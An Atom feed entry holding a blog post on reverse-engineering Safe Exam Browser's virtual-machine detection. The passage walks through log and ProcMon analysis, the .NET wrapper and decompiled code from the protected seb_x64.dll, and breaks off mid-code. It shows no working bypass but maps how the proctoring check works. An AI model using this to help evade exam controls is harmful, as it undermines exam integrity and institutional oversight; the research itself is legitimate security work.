<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://therustymate.com/</id>
  <title type="text">therustymate</title>
  <subtitle type="text">@therustymate</subtitle>
  <updated>2026-10-22T00:00:00.000Z</updated>
  <author><name>therustymate</name></author>
  <link rel="alternate" href="https://therustymate.com/"/>
  <link rel="self" href="https://therustymate.com/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.9</generator>
    <entry>
      <id>https://therustymate.com/posts/2026-10-22-evirt_seb/2026-10-22-evirt_seb/</id>
      <title type="text">Project EVirt_SEB - Safe Exam Browser VM Detection Bypass Research</title>
      <published>2026-10-22T00:00:00.000Z</published>
      <updated>2026-10-22T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2026-10-22-evirt_seb/2026-10-22-evirt_seb/"/>
      <summary type="text">Safe Exam Browser VM Detection Bypass Research</summary>
      <content type="html"><![CDATA[<a href="https://github.com/therustymate/EVirt_SEB" target="_blank"><div><div><div><div></div><div>therustymate</div></div><div>/</div><div>EVirt_SEB</div></div><div></div></div><div>Safe Exam Browser VM Detection Bypass Research</div><div><div>—</div><div>—</div><div>MIT</div><span>C#</span></div></a>
<section><h2>Disclaimer<a href="#disclaimer"><span>#</span></a></h2><p>This project and all associated materials are provided strictly for authorized penetration testing for college environments and educational and research purposes only.</p><p>This project declares that it is NOT intended to encourage cheating on online exams.</p></section>
<section><h2>Executive Summary<a href="#executive-summary"><span>#</span></a></h2><p>This research investigates potential vulnerabilities in Safe Exam Browser (SEB) that could allow students to bypass its virtual machine (VM) detection mechanisms.
The scope of this project covered <a href="https://github.com/SafeExamBrowser/seb-win-refactoring/releases/tag/v3.10.2" target="_blank">Windows Safe Exam Browser v3.10.2</a>
and was tested on <code>Windows 11 10.0.26200 Build 26200</code> in <code>KVM/QEMU 10.2.2</code>.</p><p>The ultimate goal of this project was to identify potential VM detection bypass-related vulnerabilities through static and dynamic reverse engineering and propose possible mitigations against identified vulnerabilities.</p></section>
<section><h2>Project Overview<a href="#project-overview"><span>#</span></a></h2><section><h3>Dynamic Reverse Engieerning<a href="#dynamic-reverse-engieerning"><span>#</span></a></h3><p>After installing the Safe Exam Browser, I launched the application to observe the log of the application to briefly analyze the execution flow of the application.
The execution flow was:</p><ol>
<li>Initialize startup procedure
<ul>
<li>Load system language</li>
</ul>
</li>
<li>Start communication host
<ul>
<li>Open a net pipe: net.pipe://localhost/safeexambrowser/runtime/[UUID]</li>
</ul>
</li>
<li>Verify application and runtime integrity</li>
<li>Initialize new session configuration
<ul>
<li>Load Client-ID</li>
<li>Load Runtime-ID</li>
<li>Load Session-ID</li>
</ul>
</li>
<li>Initialize application configuration</li>
<li>Validate version restrictions</li>
<li>Validate remote session policy</li>
<li>Validate session integrity
<ul>
<li>Disable sticky keys</li>
<li>Start cursor verification</li>
<li>Start ease of access verification</li>
</ul>
</li>
<li>Validate virtual machine policy</li>
<li>Continue OR Exit</li>
</ol><p>I launched Process Monitor (ProcMon) and examined the <code>2026-07-21_20h46m25s_Runtime.log</code> file.
The log entries indicated that the VM validation process began at <code>20:46:56.551</code> and ended at <code>20:46:58.012</code>.</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>$</span><span> </span><span>cat</span><span> </span><span>2026-07-21_20h46m25s_Runtime.log</span><span> | </span><span>grep</span><span> </span><span>"virtual"</span></div></div><div><div><div>2</div></div><div><span>2026-07-21</span><span> </span><span>20:46:56.551</span><span> [11] - INFO: Validating virtual machine policy...</span></div></div><div><div><div>3</div></div><div><span>2026-07-21</span><span> </span><span>20:46:57.996</span><span> [11] - DEBUG: [VirtualMachineDetector] Computer </span><span>'THERUSTYMATE'</span><span> appears to be a virtual machine (</span><span>QEMU,</span><span> </span><span>100%</span><span>).</span></div></div><div><div><div>4</div></div><div><span>2026-07-21</span><span> </span><span>20:46:58.012</span><span> [11] - ERROR: Detected virtual machine </span><span>while</span><span> </span><span>SEB</span><span> </span><span>is</span><span> </span><span>not</span><span> </span><span>allowed</span><span> </span><span>to</span><span> </span><span>be</span><span> </span><span>run</span><span> </span><span>in</span><span> </span><span>a</span><span> </span><span>virtual</span><span> </span><span>machine!</span><span> </span><span>Aborting...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>After exporting all ProcMon events to a CSV file, I used <code>grep</code> with an extended regular expression to filter events recorded during the VM validation process:</p><p><code>cat ProcMon_SEB.csv | grep ".531"</code></p><p>and</p><p><code>grep -E '^"?20:46:(56|57|58)\.' ProcMon_SEB.csv</code></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>$</span><span> </span><span>cat</span><span> </span><span>ProcMon_SEB.csv</span><span> | </span><span>grep</span><span> </span><span>".531"</span></div></div><div><div><div>2</div></div><div><span>"8:46:23.9355311 PM"</span><span>,</span><span>"SafeExamBrowser.exe"</span><span>,</span><span>"6960"</span><span>,</span><span>"Load Image"</span><span>,</span><span>"C:\Windows\System32\msvcp_win.dll"</span><span>,</span><span>"SUCCESS"</span><span>,</span><span>"Image Base: 0x7ffef0010000, Image Size: 0xa3000"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>$</span><span> </span><span>cat</span><span> </span><span>ProcMon_SEB.csv</span><span> | </span><span>grep</span><span> </span><span>-E</span><span> </span><span>"^......56|^......57|^......58"</span></div></div><div><div><div>2</div></div><div><span>...</span></div></div><div><div><div>3</div></div><div><span>"8:46:56.9634035 PM"</span><span>,</span><span>"SafeExamBrowser.exe"</span><span>,</span><span>"6960"</span><span>,</span><span>"RegOpenKey"</span><span>,</span><span>"HKLM\System\CurrentControlSet\Enum\SWD\MMDEVAPI\MICROSOFTGSWAVETABLESYNTH"</span><span>,</span><span>"SUCCESS"</span><span>,</span><span>"Desired Access: Query Value, Maximum Allowed"</span></div></div><div><div><div>4</div></div><div><span>"8:46:56.9634116 PM"</span><span>,</span><span>"SafeExamBrowser.exe"</span><span>,</span><span>"6960"</span><span>,</span><span>"RegQueryValue"</span><span>,</span><span>"HKLM\System\CurrentControlSet\Enum\SWD\MMDEVAPI\MicrosoftGSWavetableSynth\HardwareID"</span><span>,</span><span>"NAME NOT FOUND"</span><span>,</span><span>"Length: 4,108"</span></div></div><div><div><div>5</div></div><div><span>"8:46:56.9634185 PM"</span><span>,</span><span>"SafeExamBrowser.exe"</span><span>,</span><span>"6960"</span><span>,</span><span>"RegCloseKey"</span><span>,</span><span>"HKLM\System\CurrentControlSet\Enum\SWD\MMDEVAPI\MicrosoftGSWavetableSynth"</span><span>,</span><span>"SUCCESS"</span><span>,</span><span>""</span></div></div><div><div><div>6</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Then, I used a custom python script (<code>procmon_csv_parser.py</code>) to list unique items on selected columns within the ProcMon CSV file.</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>$</span><span> </span><span>python3</span><span> </span><span>procmon_csv_parser.py</span><span> </span><span>-c</span><span> </span><span>5</span><span> </span><span>-f</span><span> </span><span>../research/dynamic/outputs/ProcMon_SEB_modified02.csv</span></div></div><div><div><div>2</div></div><div><span>...</span></div></div><div><div><div>3</div></div><div><span>HKLM\System\CurrentControlSet\Services\Tcpip\Parameters</span></div></div><div><div><div>4</div></div><div><span>HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Domain</span></div></div><div><div><div>5</div></div><div><span>HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Hostname</span></div></div><div><div><div>6</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>To further analyze the events on Linux, I used <a href="https://therustymate.com/ProcMonParser/">ProcMonParser</a>, a tool I had previously developed to analyze ProcMon events recorded during SEB execution.</p><p><img alt="" loading="lazy" width="1245" height="762" src="/_astro/Screenshot_20260722_210815.BdRQ9x9o_Z1vwIBE.webp" /></p><p><img alt="" loading="lazy" width="867" height="344" src="/_astro/Screenshot_20260722_211101.DT_noAmN_Z2vMS8P.webp" /></p><p>The stack trace suggested that the native DLL <code>seb_x64.dll</code> invoked the Windows API function <code>RegGetValueW</code> to retrieve registry values.
Based on these observations, I suspected that <code>seb_x64.dll</code> might be involved in VM validation process of SEB.</p></section><section><h3>Static Reverse Engineering<a href="#static-reverse-engineering"><span>#</span></a></h3><p>To investigate this further, I began a static analysis of <code>seb_x64.dll</code>.</p><p><img alt="" loading="lazy" width="817" height="883" src="/_astro/Screenshot_20260722_212236.DAS0hQDr_Z1C3Uml.webp" /></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>$</span><span> </span><span>file</span><span> </span><span>seb_x64.dll</span></div></div><div><div><div>2</div></div><div><span>seb_x64.dll:</span><span> </span><span>PE32+</span><span> </span><span>executable</span><span> </span><span>for</span><span> </span><span>MS</span><span> </span><span>Windows</span><span> </span><span>6.00</span><span> (DLL), x86-64, 12 sections</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Unexpectedly, I discovered that the DLL was protected by <a href="https://www.oreans.com/Themida.php" target="_blank">Themida Protector</a>.</p><p><img alt="" loading="lazy" width="534" height="286" src="/_astro/Screenshot_20260722_222105.DPg5-Vwi_1js9wK.webp" /></p><p>First, I expected the decompiled output to be unreliable due to this protection.
However, I was still able to partially recover some functions listed in the Export Address Table (EAT).</p><p>Before proceeding with the reverse engineering of <code>seb_x64.dll</code>, I first analyzed the publicly available .NET component.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>public</span><span> </span><span>bool</span><span> </span><span>IsVirtualMachine</span><span>(</span><span>out</span><span> </span><span>string</span><span><span> </span><span>manufacturer</span><span>, </span></span><span>out</span><span> </span><span>int</span><span><span> </span><span>probability</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>var</span><span><span> </span><span>isVirtualMachine</span><span> </span><span>=</span><span> </span></span><span>false</span><span>;</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>manufacturer</span><span> </span><span>=</span><span> default;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>probability</span><span> </span><span>=</span><span> default;</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>    </span><span>try</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>isVirtualMachine</span><span> </span><span>=</span><span> </span><span>Native</span><span>.</span><span>IsVirtualMachine</span><span>(</span><span>out</span><span> </span><span>var</span><span><span> </span><span>bstr</span><span>, </span></span><span>out</span><span><span> </span><span>probability</span><span>);</span></span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>        </span><span>if</span><span><span> (</span><span>bstr</span><span> </span><span>!=</span><span> </span><span>IntPtr</span><span>.</span><span>Zero</span><span>)</span></span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>14</div></div><div><span><span>            </span></span><span>manufacturer</span><span> </span><span>=</span><span> </span><span>Marshal</span><span>.</span><span>PtrToStringBSTR</span><span><span>(</span><span>bstr</span><span>);</span></span></div></div><div><div><div>15</div></div><div><span><span>            </span></span><span>Marshal</span><span>.</span><span>FreeBSTR</span><span><span>(</span><span>bstr</span><span>);</span></span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>18</div></div><div><span>    </span><span>catch</span><span> (</span><span>DllNotFoundException</span><span>)</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>20</div></div><div><span><span>        </span></span><span>logger</span><span>.</span><span>Warn</span><span>(</span><span>"Integrity module is not available!"</span><span>);</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>22</div></div><div><span>    </span><span>catch</span><span> (</span><span>Exception</span><span><span> </span><span>e</span><span>)</span></span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>logger</span><span>.</span><span>Error</span><span>(</span><span>"Unexpected error while attempting to query virtual machine information!"</span><span><span>, </span><span>e</span><span>);</span></span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>    </span><span>return</span><span><span> </span><span>isVirtualMachine</span><span>;</span></span></div></div><div><div><div>28</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p>Through this analysis, I identified the following function signature for <code>IsVirtualMachine</code>,
which could help me interpret the decompiled code of <code>seb_x64.dll</code>:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>extern</span><span> </span><span>"C"</span><span> </span><span>bool</span><span> __cdecl </span><span>IsVirtualMachine</span><span>(</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>BSTR</span><span>*</span><span><span> </span><span>manufacturer</span><span>,</span></span></div></div><div><div><div>3</div></div><div><span>    </span><span>int*</span><span> probability</span></div></div><div><div><div>4</div></div><div><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Upon examining the decompiled code, I immediately noticed several hypervisor-related strings.</p><p><img alt="" loading="lazy" width="454" height="234" src="/_astro/Screenshot_20260722_213119.DPir_NlP_bQmJb.webp" /></p><p>I began analyzing the code associated with these strings using a GPT-based LLM,
focusing on <code>StringConstruct</code>, which I suspected was related to C++ string handling.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>char</span><span> </span><span>IsVirtualMachine</span><span><span>(</span><span>BSTR </span></span><span>*</span><span><span>manufacturer</span><span>,</span></span><span>int</span><span> </span><span>*</span><span><span>probability</span><span>)</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>char</span><span> codeSignatureValid;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>byte vmProbability;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>undefined4 randomSeed;</span></div></div><div><div><div>7</div></div><div><span>    </span><span>uint</span><span> randomValue;</span></div></div><div><div><div>8</div></div><div><span>    </span><span>int</span><span> randomVendorValue;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>VmContext </span><span>*</span><span>vmContext;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>BSTR manufacturerBstr;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>VendorList </span><span>*</span><span>vendorAllocation;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>MsvcString </span><span>*</span><span>manufacturerStringA;</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>WString32 </span><span>*</span><span>wideManufacturer;</span></div></div><div><div><div>14</div></div><div><span>    </span><span>wchar_t</span><span> </span><span>*</span><span>manufacturerWideBuffer;</span></div></div><div><div><div>15</div></div><div><span>    </span><span>char</span><span> isVirtualMachine;</span></div></div><div><div><div>16</div></div><div><span>    </span><span>int</span><span> probabilityValue;</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>MsvcString </span><span>*</span><span>vendorList;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>MsvcString </span><span>*</span><span>selectedVendor;</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>VmContext detectionContext;</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>VmContext manufacturerContext;</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>VmContext probabilityContext;</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>WString32 manufacturerString;</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>WString32 fallbackManufacturerString;</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>MsvcString emptyVendor;</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>MsvcString selectedVendorCopy;</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>MsvcString manufacturerStorage;</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>MsvcString movedVendor;</span></div></div><div><div><div>28</div></div><div>
</div></div><div><div><div>29</div></div><div><span><span>                    </span></span><span>/* 0x128150  4  IsVirtualMachine */</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>codeSignatureValid </span><span>=</span><span> </span><span>VerifyCodeSignature</span><span>();</span></div></div><div><div><div>31</div></div><div><span>    </span><span>if</span><span> (codeSignatureValid </span><span>==</span><span> </span><span>'</span><span>\0</span><span>'</span><span>) {</span></div></div><div><div><div>32</div></div><div><span><span>        </span></span><span>vendorAllocation </span><span>=</span><span> </span><span>alloc</span><span>(</span><span>168</span><span>);</span></div></div><div><div><div>33</div></div><div><span>        </span><span>if</span><span> (vendorAllocation </span><span>==</span><span> (VendorList </span><span>*</span><span>)</span><span><span>0x</span><span>0</span></span><span>) {</span></div></div><div><div><div>34</div></div><div><span><span>            </span></span><span>vendorList </span><span>=</span><span> (MsvcString </span><span>*</span><span>)</span><span><span>0x</span><span>0</span></span><span>;</span></div></div><div><div><div>35</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>36</div></div><div><span>        </span><span>else</span><span> {</span></div></div><div><div><div>37</div></div><div><span>            </span><span>vendorAllocation</span><span>-&gt;</span><span>count</span><span> </span><span>=</span><span> </span><span>5</span><span>;</span></div></div><div><div><div>38</div></div><div><span>            </span><span>StringConstruct</span><span>(</span><span>vendorAllocation</span><span>-&gt;</span><span>vendors</span><span>,</span><span>"Hyper-V"</span><span>);</span></div></div><div><div><div>39</div></div><div><span>            </span><span>StringConstruct</span><span>(</span><span>vendorAllocation</span><span>-&gt;</span><span>vendors</span><span> </span><span>+</span><span> </span><span>1</span><span>,</span><span>"KVM"</span><span>);</span></div></div><div><div><div>40</div></div><div><span>            </span><span>StringConstruct</span><span>(</span><span>vendorAllocation</span><span>-&gt;</span><span>vendors</span><span> </span><span>+</span><span> </span><span>2</span><span>,</span><span>"QEMU"</span><span>);</span></div></div><div><div><div>41</div></div><div><span>            </span><span>StringConstruct</span><span>(</span><span>vendorAllocation</span><span>-&gt;</span><span>vendors</span><span> </span><span>+</span><span> </span><span>3</span><span>,</span><span>"VMware"</span><span>);</span></div></div><div><div><div>42</div></div><div><span>            </span><span>StringConstruct</span><span>(</span><span>vendorAllocation</span><span>-&gt;</span><span>vendors</span><span> </span><span>+</span><span> </span><span>4</span><span>,</span><span>"VirtualBox"</span><span>);</span></div></div><div><div><div>43</div></div><div><span><span>            </span></span><span>vendorList </span><span>=</span><span> </span><span>vendorAllocation</span><span>-&gt;</span><span>vendors</span><span>;</span></div></div><div><div><div>44</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>45</div></div><div><span><span>        </span></span><span>randomSeed </span><span>=</span><span> </span><span>std_time</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>46</div></div><div><span>        </span><span>std_srand</span><span>(randomSeed);</span></div></div><div><div><div>47</div></div><div><span><span>        </span></span><span>randomValue </span><span>=</span><span> </span><span>std_rand</span><span>();</span></div></div><div><div><div>48</div></div><div><span><span>        </span></span><span>isVirtualMachine </span><span>=</span><span> (randomValue </span><span>&amp;</span><span> </span><span>1</span><span> </span><span>^</span><span> (</span><span>int</span><span>)randomValue </span><span>&gt;&gt;</span><span> </span><span><span>0x</span><span>1f</span></span><span>) </span><span>-</span><span> ((</span><span>int</span><span>)randomValue </span><span>&gt;&gt;</span><span> </span><span><span>0x</span><span>1f</span></span><span>) </span><span>==</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>49</div></div><div><span>        </span><span>if</span><span> (</span><span>!</span><span>(</span><span>bool</span><span>)isVirtualMachine) {</span></div></div><div><div><div>50</div></div><div><span><span>            </span></span><span>selectedVendor </span><span>=</span><span> </span><span>StringConstruct</span><span>(</span><span>&amp;</span><span>emptyVendor,</span><span>""</span><span>);</span></div></div><div><div><div>51</div></div><div><span><span>        </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>52</div></div><div><span><span>            </span></span><span>randomVendorValue </span><span>=</span><span> </span><span>std_rand</span><span>();</span></div></div><div><div><div>53</div></div><div><span><span>            </span></span><span>selectedVendor </span><span>=</span><span> </span><span>StringCopy</span><span>(</span><span>&amp;</span><span>selectedVendorCopy,vendorList </span><span>+</span><span> randomVendorValue </span><span>%</span><span> </span><span>5</span><span>);</span></div></div><div><div><div>54</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>55</div></div><div><span><span>        </span></span><span>manufacturerStringA </span><span>=</span><span> </span><span>StringMove</span><span>(</span><span>&amp;</span><span>movedVendor,selectedVendor);</span></div></div><div><div><div>56</div></div><div><span><span>        </span></span><span>wideManufacturer </span><span>=</span><span> </span><span>ConvertStringToWString</span><span>(</span><span>&amp;</span><span>fallbackManufacturerString,manufacturerStringA);</span></div></div><div><div><div>57</div></div><div><span><span>        </span></span><span>manufacturerWideBuffer </span><span>=</span><span> </span><span>WStringData</span><span>(wideManufacturer);</span></div></div><div><div><div>58</div></div><div><span><span>        </span></span><span>manufacturerBstr </span><span>=</span><span> (BSTR)(</span><span>*</span><span>(code </span><span>*</span><span>)</span><span><span>0x</span><span>8000000000000002</span></span><span>)(manufacturerWideBuffer);</span></div></div><div><div><div>59</div></div><div><span>        </span><span>*</span><span>manufacturer </span><span>=</span><span> manufacturerBstr;</span></div></div><div><div><div>60</div></div><div><span>        </span><span>WStringDestroy</span><span>(</span><span>&amp;</span><span>fallbackManufacturerString);</span></div></div><div><div><div>61</div></div><div><span>        </span><span>if</span><span> (</span><span>!</span><span>(</span><span>bool</span><span>)isVirtualMachine) {</span></div></div><div><div><div>62</div></div><div><span>            </span><span>StringDestroy</span><span>(</span><span>&amp;</span><span>emptyVendor);</span></div></div><div><div><div>63</div></div><div><span><span>            </span></span><span>probabilityValue </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>64</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>65</div></div><div><span>        </span><span>else</span><span> {</span></div></div><div><div><div>66</div></div><div><span>            </span><span>StringDestroy</span><span>(</span><span>&amp;</span><span>selectedVendorCopy);</span></div></div><div><div><div>67</div></div><div><span><span>            </span></span><span>probabilityValue </span><span>=</span><span> </span><span>std_rand</span><span>();</span></div></div><div><div><div>68</div></div><div><span><span>            </span></span><span>probabilityValue </span><span>=</span><span> probabilityValue </span><span>%</span><span> </span><span><span>0x</span><span>65</span></span><span>;</span></div></div><div><div><div>69</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>70</div></div><div><span>        </span><span>*</span><span>probability </span><span>=</span><span> probabilityValue;</span></div></div><div><div><div>71</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>72</div></div><div><span>    </span><span>else</span><span> {</span></div></div><div><div><div>73</div></div><div><span><span>        </span></span><span>vmContext </span><span>=</span><span> </span><span>BuildVmContext</span><span>(</span><span>&amp;</span><span>detectionContext);</span></div></div><div><div><div>74</div></div><div><span><span>        </span></span><span>isVirtualMachine </span><span>=</span><span> </span><span>IsVmDetected</span><span>(vmContext);</span></div></div><div><div><div>75</div></div><div><span><span>        </span></span><span>vmContext </span><span>=</span><span> </span><span>BuildVmContext</span><span>(</span><span>&amp;</span><span>manufacturerContext);</span></div></div><div><div><div>76</div></div><div><span><span>        </span></span><span>manufacturerStringA </span><span>=</span><span> </span><span>GetVmManufacturerString</span><span>(</span><span>&amp;</span><span>manufacturerStorage,vmContext);</span></div></div><div><div><div>77</div></div><div><span><span>        </span></span><span>wideManufacturer </span><span>=</span><span> </span><span>ConvertStringToWString</span><span>(</span><span>&amp;</span><span>manufacturerString,manufacturerStringA);</span></div></div><div><div><div>78</div></div><div><span><span>        </span></span><span>manufacturerWideBuffer </span><span>=</span><span> </span><span>WStringData</span><span>(wideManufacturer);</span></div></div><div><div><div>79</div></div><div><span><span>        </span></span><span>manufacturerBstr </span><span>=</span><span> (BSTR)(</span><span>*</span><span>(code </span><span>*</span><span>)</span><span><span>0x</span><span>8000000000000002</span></span><span>)(manufacturerWideBuffer);</span></div></div><div><div><div>80</div></div><div><span>        </span><span>*</span><span>manufacturer </span><span>=</span><span> manufacturerBstr;</span></div></div><div><div><div>81</div></div><div><span>        </span><span>WStringDestroy</span><span>(</span><span>&amp;</span><span>manufacturerString);</span></div></div><div><div><div>82</div></div><div><span><span>        </span></span><span>vmContext </span><span>=</span><span> </span><span>BuildVmContext</span><span>(</span><span>&amp;</span><span>probabilityContext);</span></div></div><div><div><div>83</div></div><div><span><span>        </span></span><span>vmProbability </span><span>=</span><span> </span><span>GetVmProbability</span><span>(vmContext);</span></div></div><div><div><div>84</div></div><div><span>        </span><span>*</span><span>probability </span><span>=</span><span> (</span><span>uint</span><span>)vmProbability;</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>86</div></div><div><span>    </span><span>return</span><span> isVirtualMachine;</span></div></div><div><div><div>87</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p><code>seb_types.h</code> for Ghidra:</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> MsvcString {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>union</span><span> {</span></div></div><div><div><div>3</div></div><div><span>        </span><span>char</span><span> </span><span>inlineBuffer</span><span>[</span><span>16</span><span>];</span></div></div><div><div><div>4</div></div><div><span>        </span><span>char</span><span> </span><span>*</span><span>heapBuffer;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>} storage;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>    </span><span>unsigned</span><span> </span><span>long</span><span> </span><span>long</span><span> size;</span></div></div><div><div><div>8</div></div><div><span>    </span><span>unsigned</span><span> </span><span>long</span><span> </span><span>long</span><span> capacity;</span></div></div><div><div><div>9</div></div><div><span>} MsvcString;</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>typedef</span><span> </span><span>struct</span><span> WString32 {</span></div></div><div><div><div>12</div></div><div><span>    </span><span>union</span><span> {</span></div></div><div><div><div>13</div></div><div><span>        </span><span>wchar_t</span><span> </span><span>inlineBuffer</span><span>[</span><span>8</span><span>];</span></div></div><div><div><div>14</div></div><div><span>        </span><span>wchar_t</span><span> </span><span>*</span><span>heapBuffer;</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>} storage;</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>    </span><span>unsigned</span><span> </span><span>long</span><span> </span><span>long</span><span> size;</span></div></div><div><div><div>18</div></div><div><span>    </span><span>unsigned</span><span> </span><span>long</span><span> </span><span>long</span><span> capacity;</span></div></div><div><div><div>19</div></div><div><span>} WString32;</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>typedef</span><span> </span><span>struct</span><span> VendorList {</span></div></div><div><div><div>22</div></div><div><span>    </span><span>unsigned</span><span> </span><span>long</span><span> </span><span>long</span><span> count;</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>MsvcString </span><span>vendors</span><span>[</span><span>5</span><span>];</span></div></div><div><div><div>24</div></div><div><span>} VendorList;</span></div></div><div><div><div>25</div></div><div>
</div></div><div><div><div>26</div></div><div><span>typedef</span><span> </span><span>struct</span><span> VmContext {</span></div></div><div><div><div>27</div></div><div><span>    </span><span>uint64_t</span><span> </span><span>bits</span><span>[</span><span>2</span><span>];</span></div></div><div><div><div>28</div></div><div><span>} VmContext;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p>After completing the decompilation, I used a GPT-based LLM to transform the decompiled output into more human-readable C++ code.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>bool</span><span> </span><span>IsVirtualMachine</span><span>(</span><span>BSTR</span><span>*</span><span><span> </span><span>manufacturer</span><span>, </span></span><span>int*</span><span><span> </span><span>probability</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>if</span><span> (</span><span>!</span><span>VerifyCodeSignature</span><span>())</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>5</div></div><div><span>        </span><span>VendorList</span><span>*</span><span> </span><span>vendors</span><span> </span><span>=</span><span> </span><span>alloc</span><span>(</span><span>168</span><span>);</span></div></div><div><div><div>6</div></div><div>
